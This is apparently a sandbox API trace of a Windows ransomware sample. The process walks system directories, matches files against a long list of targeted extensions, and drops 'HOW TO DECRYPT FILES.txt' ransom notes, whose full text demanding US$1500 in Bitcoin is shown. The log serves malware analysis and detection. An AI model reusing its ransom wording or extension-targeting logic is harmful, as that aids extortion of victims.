[0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.vdi") returned 0 [0112.668] lstrlenA (lpString="*.vdi") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.lay6") returned 0 [0112.668] lstrlenA (lpString="*.lay6") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mpeg") returned 0 [0112.668] lstrlenA (lpString="*.mpeg") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.djvu") returned 0 [0112.668] lstrlenA (lpString="*.djvu") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.tiff") returned 0 [0112.668] lstrlenA (lpString="*.tiff") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.backup") returned 0 [0112.668] lstrlenA (lpString="*.backup") returned 8 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.pdf") returned 0 [0112.668] lstrlenA (lpString="*.pdf") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.cert") returned 0 [0112.668] lstrlenA (lpString="*.cert") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.docm") returned 0 [0112.668] lstrlenA (lpString="*.docm") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.xlsm") returned 0 [0112.668] lstrlenA (lpString="*.xlsm") returned 6 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.dwg") returned 0 [0112.668] lstrlenA (lpString="*.dwg") returned 5 [0112.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.nd") returned 0 [0112.669] lstrlenA (lpString="*.nd") returned 4 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.tlg") returned 0 [0112.669] lstrlenA (lpString="*.tlg") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.lgb") returned 0 [0112.669] lstrlenA (lpString="*.lgb") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mov") returned 0 [0112.669] lstrlenA (lpString="*.mov") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.xdw") returned 0 [0112.669] lstrlenA (lpString="*.xdw") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.ods") returned 0 [0112.669] lstrlenA (lpString="*.ods") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.wav") returned 0 [0112.669] lstrlenA (lpString="*.wav") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.mp3") returned 0 [0112.669] lstrlenA (lpString="*.mp3") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.aiff") returned 0 [0112.669] lstrlenA (lpString="*.aiff") returned 6 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.flac") returned 0 [0112.669] lstrlenA (lpString="*.flac") returned 6 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.m4a") returned 0 [0112.669] lstrlenA (lpString="*.m4a") returned 5 [0112.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll", pszSpec="*.csv") returned 0 [0112.669] lstrlenA (lpString="*.csv") returned 5 [0112.669] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d2b1ca, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71d2b1ca, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71d7748b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x234400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.669] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71de98ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71de98ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71de98ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5910828a337dbe848dc90c7ae0a7dee2", cAlternateFileName="591082~1")) returned 0 [0112.669] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.670] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1d0c3b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1d0c3b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Drawing.Desi#", cAlternateFileName="SYSTEM~2.DES")) returned 1 [0112.670] lstrcmpA (lpString1=".", lpString2="System.Drawing.Desi#") returned -1 [0112.670] lstrcmpA (lpString1="..", lpString2="System.Drawing.Desi#") returned -1 [0112.670] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.670] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Drawing.Desi#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#" [0112.670] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#") returned 67 [0112.670] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1d0c3b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1d0c3b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.670] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.670] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1d0c3b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1d0c3b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.670] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.670] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.670] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1f6d9b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1f6d9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aa8854bd55fca246dd3226a671092bfa", cAlternateFileName="AA8854~1")) returned 1 [0112.670] lstrcmpA (lpString1=".", lpString2="aa8854bd55fca246dd3226a671092bfa") returned -1 [0112.670] lstrcmpA (lpString1="..", lpString2="aa8854bd55fca246dd3226a671092bfa") returned -1 [0112.670] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\*.*") returned="*.*" [0112.670] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\", lpString2="aa8854bd55fca246dd3226a671092bfa" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa" [0112.670] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa") returned 100 [0112.670] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1f6d9b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1f6d9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.671] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.671] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae1d0c3b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1f6d9b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1f6d9b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.671] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.671] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.671] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae1aaada, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xae1aaada, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xae1aaada, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x46800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.671] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0112.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0112.671] lstrcmpiA (lpString1="", lpString2="System.Drawing.Design.ni.dll") returned -1 [0112.671] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\*.*") returned="*.*" [0112.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\" [0112.671] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\") returned="" [0112.671] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\HOW TO DECRYPT FILES.txt" [0112.671] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing.desi#\\aa8854bd55fca246dd3226a671092bfa\\how to decrypt files.txt")) returned 0xffffffff [0112.671] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing.desi#\\aa8854bd55fca246dd3226a671092bfa\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.672] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.672] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.673] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.674] CloseHandle (hObject=0x90) returned 1 [0112.674] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\", lpString2="System.Drawing.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll" [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.674] lstrlenA (lpString="*.ems") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.db") returned 0 [0112.674] lstrlenA (lpString="*.db") returned 4 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.dbf") returned 0 [0112.674] lstrlenA (lpString="*.dbf") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.myox") returned 0 [0112.674] lstrlenA (lpString="*.myox") returned 6 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.myo") returned 0 [0112.674] lstrlenA (lpString="*.myo") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbw") returned 0 [0112.674] lstrlenA (lpString="*.qbw") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbb") returned 0 [0112.674] lstrlenA (lpString="*.qbb") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbm") returned 0 [0112.674] lstrlenA (lpString="*.qbm") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbo") returned 0 [0112.674] lstrlenA (lpString="*.qbo") returned 5 [0112.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbx") returned 0 [0112.675] lstrlenA (lpString="*.qbx") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qba") returned 0 [0112.675] lstrlenA (lpString="*.qba") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qby") returned 0 [0112.675] lstrlenA (lpString="*.qby") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qbj") returned 0 [0112.675] lstrlenA (lpString="*.qbj") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.ofx") returned 0 [0112.675] lstrlenA (lpString="*.ofx") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.qif") returned 0 [0112.675] lstrlenA (lpString="*.qif") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mye") returned 0 [0112.675] lstrlenA (lpString="*.mye") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mbox") returned 0 [0112.675] lstrlenA (lpString="*.mbox") returned 6 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.675] lstrlenA (lpString="*.eml") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.pst") returned 0 [0112.675] lstrlenA (lpString="*.pst") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.ost") returned 0 [0112.675] lstrlenA (lpString="*.ost") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.idx") returned 0 [0112.675] lstrlenA (lpString="*.idx") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.dbx") returned 0 [0112.675] lstrlenA (lpString="*.dbx") returned 5 [0112.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.sql") returned 0 [0112.675] lstrlenA (lpString="*.sql") returned 5 [0112.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.mdb") returned 0 [0112.676] lstrlenA (lpString="*.mdb") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.fdb") returned 0 [0112.677] lstrlenA (lpString="*.fdb") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.wab") returned 0 [0112.677] lstrlenA (lpString="*.wab") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.dat") returned 0 [0112.677] lstrlenA (lpString="*.dat") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.txt") returned 0 [0112.677] lstrlenA (lpString="*.txt") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0112.677] lstrlenA (lpString="*.jpeg") returned 6 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.jpg") returned 0 [0112.677] lstrlenA (lpString="*.jpg") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.png") returned 0 [0112.677] lstrlenA (lpString="*.png") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.php") returned 0 [0112.677] lstrlenA (lpString="*.php") returned 5 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.cs") returned 0 [0112.677] lstrlenA (lpString="*.cs") returned 4 [0112.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing.Desi#\\aa8854bd55fca246dd3226a671092bfa\\System.Drawing.Design.ni.dll", pszSpec="*.cpp") returned 0 [0112.677] lstrlenA (lpString="*.cpp") returned 5 [0112.677] PathMatchSpecA 